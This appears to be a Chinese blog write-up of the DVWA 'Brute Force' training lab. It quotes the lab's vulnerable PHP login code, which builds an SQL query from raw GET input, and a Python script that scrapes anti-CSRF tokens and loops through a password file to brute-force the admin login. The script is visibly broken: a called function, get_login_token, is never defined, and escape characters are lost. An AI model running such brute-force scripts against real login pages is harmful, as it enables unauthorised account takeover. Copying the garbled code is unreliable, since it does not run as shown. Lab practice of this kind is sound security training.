I guess it comes down to a simple choice: get busy living or get busy dying.
0x01.Brute Force(Low)
相关的代码分析
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
# !/usr/bin/env python
# -*- coding: utf-8 -*-
# brute_force.py :
# 20-2-4下午4:26 :
# : 脚本爆破带token的web网站
from bs4 import BeautifulSoup
import requests
header = {
'Host': 'x.x.x.x',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://x.x.x.x/vulnerabilities/brute/index.php',
'Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u',
'DNT': '1',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
login_header = {
'Host': 'x.x.x.x',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u',
'DNT': '1',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
url = "http://x.x.x.x/vulnerabilities/brute/index.php"
login_url = r'http://x.x.x.x/login.php'
# 获取爆破界面的token
def get_target_token(requrl, header):
response = requests.get(url=requrl, headers=header)
data = response.text
print('t', len(data))
# print(data)
soup = BeautifulSoup(data, "html.parser")
# user_token = soup.select('form[action] > input[type]') # get the user_token
user_token = soup.find_all('input')[3].get('value') # get the user_token
# print(user_token)
return user_token
# 先登录主界面
login_token = get_login_token(login_url, login_header)
requests.post(url=login_url,
headers=login_header,
data={'username': 'admin', 'password': 'password', 'Login': 'Login', 'user_token': login_token})
# 进入目标界面
user_token = get_target_token(url, header)
i = 0
for line in open("password.txt"):
requrl = "http://x.x.x.x/vulnerabilities/brute/index.php" + "?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
print(i, 'tadmint', line.strip(), end='t')
user_token = get_target_token(requrl, header)
i += 1
print('Task Done!')
脚本运行结果如下:本文始发于微信公众号(24h进德修业):DVWA Brute Force
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论